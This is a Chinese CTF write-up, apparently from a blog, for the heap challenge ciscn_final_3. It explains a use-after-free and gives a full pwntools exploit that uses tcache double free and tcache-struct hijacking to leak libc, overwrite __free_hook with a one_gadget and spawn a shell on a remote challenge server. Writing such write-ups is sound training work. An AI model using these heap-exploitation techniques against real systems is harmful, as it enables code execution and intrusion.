ciscn_final_3 writeup

基本情况

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

C++程序。只有两个功能,新建、释放堆块。数量上限为:24,大小限制为:0x78 。用列表维护,释放操作基于下标定位指针。

新建完成后会输出堆 fd 内存地址。

漏洞

free 没指令指针,造成 UAF :

unsigned __int64 my_free()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>((__int64)&std::cin, (__int64)&v2);
  if ( v2 > 24 )
    exit(0);
  free((void *)chunk_ptr_list[v2]);             // UAF
  return __readfsqword(0x28u) ^ v3;
}

思路

刚刚做完[V&N2020 公开赛]easyTHeap利用 tcache 部分基本相同。这道题 chunk 数量上限挺高的,可以通过 free 7 个 chunk 占满空间,可以不需要劫持 tcache 结构体数量标志位。

  1. double free ,劫持 tcache bin 的 chunk0 fd 到 tcache struct 上
  2. 修改 struct 中数量标志位;修改 bin 链头的地址为 chunk0-0x10 ,后面修改 chunk0 size 为 unsorted bin 大小,用来泄露地址;多写几个链头为 chunk0 fd ,后面分配到 main_area 上输出地址
  3. 再次劫持 tcache struct ,改一个链头 free_hook

获取 chunk0 后面用来计算各个地址:

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

double free ,写 tcache bin 0x60 链表写入结构体地址;再次申请成功分配到结构体上,劫持结构体数量以及链头地址:

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))
  • 劫持链头要一个 chunk0_addr-0x10 用来修改 size ,另外一个 chunk0_addr 用来分配到 main_area 上泄露地址。
  • 那个 \x00 是 0x70 的位置,这里不覆盖用来再次 tcache bin doublue free 再次劫持结构体。

做 chunk0 释放到 unsorted bin 绕过,nextchunk inuse 位设置为 1 ,再申请一个防止与 topchunk 合并:

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk
free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

再次劫持 tcache 结构体将堆分配到 free_hook 上:

add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
from pwn import *
context(log_level='debug',os='linux',arch='amd64',
	terminal=['tmux','sp','-h'])

# p = process("./ciscn_final_3")
elf = ELF("./ciscn_final_3")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = remote("node3.buuoj.cn",27718)
libc = ELF("./libc.so.6")

def add(id,size,content):
	p.recvuntil("> ")
	p.sendline('1')
	p.recvuntil("index\n")
	p.sendline(str(id))
	p.recvuntil("size\n")
	p.sendline(str(size))
	p.recvuntil("thing\n")
	p.send(content)
def free(id):
	p.recvuntil("> ")
	p.sendline('2')
	p.recvuntil("index\n")
	p.sendline(str(id))

add(0,0x50,'a'*8)#0

p.recvuntil("gift :")
chunk0_addr = int(p.recv(14),16)
log.info("chunk0_addr:"+hex(chunk0_addr))
tcache_struct = chunk0_addr - 0x11e60

free(0)
free(0)
add(1,0x50,p64(tcache_struct))#0
add(2,0x50,p64(tcache_struct))#0
add(3,0x58,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(chunk0_addr)*2+p64(chunk0_addr-0x10))

add(4,0x38,p64(0)+p64(0x101))#orw chunk0 size
add(5,0x40,'b'*8)# chunk0 free unsortbin 绕过检查 nextchunk inuse 检查,需要为1
add(6,0x40,'c'*8)# 同上
add(7,0x50,p64(0xdeadbeef))# 防止合并topchunk

free(0)
add(8,0x28,p64(0xdeadbeef))# chunk0
add(9,0x28,p64(chunk0_addr+0x150))# create on main_area

p.recvuntil("gift :")
main_area = int(p.recv(14),16)
log.info("main_area:"+hex(main_area))
libc_base = main_area - 0x3ebca0
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
log.info("system:"+hex(system))
# gdb.attach(p)
# 再次劫持tcache struct
add(10,0x60,'a')
free(10)
free(10)
add(11,0x60,p64(tcache_struct))#10
add(12,0x60,p64(tcache_struct))#10
add(13,0x60,(b'a'*5+b'\x00').ljust(0x40,b'a')+p64(free_hook)*4)

'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
# free_hook 写入 onegadget
onegadget = libc_base + 0x4f322#0x4f3c2
add(14,0x40,p64(onegadget))

free(10)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值